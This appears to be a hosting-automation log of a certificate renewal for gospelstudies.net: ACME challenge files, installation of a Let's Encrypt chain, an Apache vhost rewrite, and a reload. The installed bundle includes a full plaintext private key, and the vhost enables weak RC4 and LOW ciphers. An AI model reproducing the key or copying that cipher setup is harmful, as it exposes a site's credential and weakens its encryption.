OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-08 06:00:01: Establishing a connection
2026-07-08 06:00:02: Establishing a connection
2026-07-08 06:00:02: 

PUT: /tmp/pkp138649

#!/bin/bash
if [ -d "/var/www/gospelstudies_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-08 06:00:09: 

chmod 755 /tmp/pkp138649; /tmp/pkp138649; rm /tmp/pkp138649

2026-07-08 06:00:09: 


1


2026-07-08 06:00:11: Establishing a connection
2026-07-08 06:00:11: 

PUT: /tmp/pkp245774

#!/bin/bash
mkdir -p "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cd "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cat > wgmXUljknWVRQrHa8ZF8oEvPUr7wAv75DTTVVdvWGug <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
wgmXUljknWVRQrHa8ZF8oEvPUr7wAv75DTTVVdvWGug.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 wgmXUljknWVRQrHa8ZF8oEvPUr7wAv75DTTVVdvWGug
cat > bMI1WA-IAnny-9993g9oMpo30Q9KifK2Xiwir4QprFQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
bMI1WA-IAnny-9993g9oMpo30Q9KifK2Xiwir4QprFQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 bMI1WA-IAnny-9993g9oMpo30Q9KifK2Xiwir4QprFQ


2026-07-08 06:00:11: 

chmod 755 /tmp/pkp245774; /tmp/pkp245774; rm /tmp/pkp245774

2026-07-08 06:00:11: 




2026-07-08 06:00:21: Establishing a connection
2026-07-08 06:00:21: 

PUT: /tmp/pkp769175

#!/bin/bash
mkdir -p "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cd "/var/www/gospelstudies_www/.well-known/acme-challenge/"
rm wgmXUljknWVRQrHa8ZF8oEvPUr7wAv75DTTVVdvWGug
rm bMI1WA-IAnny-9993g9oMpo30Q9KifK2Xiwir4QprFQ


2026-07-08 06:00:22: 

chmod 755 /tmp/pkp769175; /tmp/pkp769175; rm /tmp/pkp769175

2026-07-08 06:00:22: 




2026-07-08 06:00:22: Establishing a connection
2026-07-08 06:00:22: 

PUT: /tmp/pkp364267

#!/bin/bash
temp_file=$(mktemp)
TARGET=9c0bc7e77c379755b26b0bae03e4a9f3.crt

cat > $temp_file <<'endmsg'
c7:fb:0c:25:77:0a:c2:a6:f8:4b:11:e6:cd:8f:9f:8e

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBbF5nP3NVG3K52EudbfCMf4iMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzA4MDUwMTUxWhcNMjYxMDA2MDUwMTUwWjAcMRowGAYDVQQD
ExFnb3NwZWxzdHVkaWVzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAL/oGJLhBfXWiAn6u3DDOEsGtkR3AIqVS7eTX7wN5SNGoK4aPaahFbnmN4Os
a71Ddy6c+Elll/AiGBZTX7aEU6dFtVOSHwHdqy6ajLpV+MrRHIfqr2XlGxxgD2lK
qkyarjZf0VO4My4epmkaafZ2OvcB/s6Juk716aTzLSnLjsDp++3aP4sUH3PAjYFH
/Pz+nkr2d+Dra6NBnC0MuYsfhuLIkmyN8gqF4wqL8schK3ACZRm9Jzw9Ti1UdIE6
/eQZdPrdH2jJ7ZllJkQ6AK2lHUVaiw8Q32fR4l8A3oDGCDHjx70ntjyrau6nhG8s
7I39H6YJ54P+IRsVoQA8JXQwovkCAwEAAaOCAjYwggIyMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTY
Mi8CRGCf4jahnhaV6SNNMr3nbzAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIf
gQyBDDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEWdvc3BlbHN0dWRpZXMubmV0ghV3d3cuZ29z
cGVsc3R1ZGllcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAj
oCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9yZy8zNS5jcmwwggEMBgorBgEEAdZ5
AgQCBIH9BIH6APgAdwDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAA
AZ9AUCIAAAAEAwBIMEYCIQDter5YzMBQYSqApoMtR1ULv31yONCLLfUXVvEXSsvI
2gIhAM8mc8Wsv9HePMewSF8d3YAvObD+9ztUridiiLDKdUveAH0AbP5QGUOoXqkW
vFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGfQFAicgAIAAAFABQg/3IEAwBGMEQC
IGwhYpt0c/dsFv0RVpxFjSIlqp2Fvuymai4lNFIVIHlZAiAEw0AGg/RuwDvYdoVg
sJozXq46EPjp+pAkN4faDiSMXzANBgkqhkiG9w0BAQsFAAOCAQEAMynGMEr5+l/4
r4JzGbN794d4SzOArow8CGkKTSOIPBy5gxmHHibYBdEht2oC0Knsjn1iIlq+NY1E
9LnQn64lmBgYH18JqnFycDF/aQAQIEFjYsJRRHazFhObtK0gDuPzy8CghWnqoei0
Oq+Ki6rB08R1GHftU4bzcGeLpYo4xoa7pXtA/vdbKBa2yP5mK5e4QnUPGZFtBkWx
fWTn6jnNT52yuLuArxDgSLilc7HhHTl7WYqniFE3zuUiugUctuy/aTaXlMSO9Gb+
tmp7b0nfT5eV8GXS791lxKeYJmubVr+drJmdDOTrxAEgbK6EsOJxh1CxHDyqbrJS
8YHVQjij9w==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC/6BiS4QX11ogJ
+rtwwzhLBrZEdwCKlUu3k1+8DeUjRqCuGj2moRW55jeDrGu9Q3cunPhJZZfwIhgW
U1+2hFOnRbVTkh8B3asumoy6VfjK0RyH6q9l5RscYA9pSqpMmq42X9FTuDMuHqZp
Gmn2djr3Af7OibpO9emk8y0py47A6fvt2j+LFB9zwI2BR/z8/p5K9nfg62ujQZwt
DLmLH4biyJJsjfIKheMKi/LHIStwAmUZvSc8PU4tVHSBOv3kGXT63R9oye2ZZSZE
OgCtpR1FWosPEN9n0eJfAN6Axggx48e9J7Y8q2rup4RvLOyN/R+mCeeD/iEbFaEA
PCV0MKL5AgMBAAECggEAGhEmtVzHeHspg2GBcHG0BczlmSso8aoR3N+x01N32nDP
hpad5TJgRx4UUFhtUgoF+FjuCNo55y5aYz3z9FDJJCF93dotSA2aIPxxPSZMYxBA
dd3U8VxLcHFD5qNzunAQVeZyApM0sIENTZ1+4zFwFPk6aUef/PW+RN+bNOAnheCG
TPwNX2PMJtSruC+mFP8ytPgTOWAXwwly+P0UBPgQUpxByMNViXi/1nzsQX0OeRzh
gVjiqD9z79cWjfn8PuQl+I3N81imnSO2/vE3bEUbPPC3UdizOxdVeazjQ7o6KgEv
3ozpi4Kv8/kGIY+sXWdq1ad4nvp7N777DJbGgR+wuQKBgQDlw13YiskpjzK0IaSZ
MNoyrGT8jU55ZlTUm3Zedsn20lsq0am+uXKWsyGfoQN7hGRhFs/NRvHRmERtOqZs
KgJJSIgOeU7CGlSnjYV4s4Zi00TTZSWfFQMv6juxWQf2dlOmmx58dfvTBJ+zHuEy
m5Sn/DlJX0l/Vnkd+Odursg/JwKBgQDV0hMyZAxIPIdVhjEKvtHHlNNjeT9k1U4n
CAJ0jqql5oompB6DH+RFSf4PU6FXK2uOnc3j9kT7bG1r9EK4Ab46Ok36LxNbLrTP
2UQFX/bTsYZ/SF9monMd3Y1qyzcVlFs4FsxQe4HE7fiSuGdkra8IHFGdyQ1fRiE7
5Q6STzVg3wKBgQDXL5E+FEVwween4vZobuN8oA74pVNAycFbWbqToEdo/fxabwC+
WqriTySHf2JmlUj50UaPqAkk1qoHbu2c0f9QKTkb7SsBCW4NerLtp52OAvYr0khY
5HIWtxZu88ZMYufXWuJDiLBwIp17QcmB/0pLxiLVAAQy2YcXthzygYmT8wKBgQCi
gawHY1SWXjJ5RKjnQsnLRwg2FQOiTh+8uHCtR3TY69NZtOhfvhBOvQKzgVshFiYD
2VmPBS++atTq9FT05pY+SOvU1ox+g4v2YGk7MIk2sTjIaiffqF2XeDgvz00JQJzn
jyQvkv64vihq0m36baqWnndFVXWtUG6Xx+oANuUZvwKBgEcS6cFoXv87k1X8XkPp
9L6AYmVZXjJJF6IecuXBcHJ95TSjypt+QJ4QFs3Iu4QnVgPd03vElbhnlREsbKza
C0qoqGQKpF8Y53L/jRboPFMXxIfNJxJamlfZ8A9GLqW7nfBsDTYvJOJcjbHM67gn
CB73EPvytmUSSLYvhP0/jOup
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-08 06:00:22: 

chmod 755 /tmp/pkp364267; /tmp/pkp364267; rm /tmp/pkp364267

2026-07-08 06:00:22: 


dir=/etc/ssl/certs


2026-07-08 06:00:22: 

PUT: /tmp/pkp407652

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/gospelstudies_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-08 06:00:22: 

chmod 755 /tmp/pkp407652; /tmp/pkp407652; rm /tmp/pkp407652

2026-07-08 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/gospelstudies_www_net.conf 45

<VirtualHost *:80>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_error.log
    SetEnv pkp_uid	50
    SetEnv pkp_owner	studies
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_secure_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-08 06:00:22: 

PUT: /tmp/pkp558296

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=gospelstudies_www_net.conf
TARGET=/etc/apache2/sites-enabled/gospelstudies_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_error.log
    SetEnv pkp_uid	50
    SetEnv pkp_owner	studies
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_secure_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/gospelstudies_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/gospelstudies_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/gospelstudies_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/gospelstudies_www_net.conf= 1'
fi


2026-07-08 06:00:22: 

chmod 755 /tmp/pkp558296; /tmp/pkp558296; rm /tmp/pkp558296

2026-07-08 06:00:22: 




2026-07-08 06:00:22: 

PUT: /tmp/pkp204569

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-08 06:00:22: 

chmod 755 /tmp/pkp204569; /tmp/pkp204569; rm /tmp/pkp204569

2026-07-08 06:00:23: 


.


2026-07-08 06:00:23: Establishing a connection
2026-07-08 06:00:23: 

PUT: /tmp/pkp674941

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-08 06:00:23: 

chmod 755 /tmp/pkp674941; /tmp/pkp674941; rm /tmp/pkp674941

2026-07-08 06:00:23: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
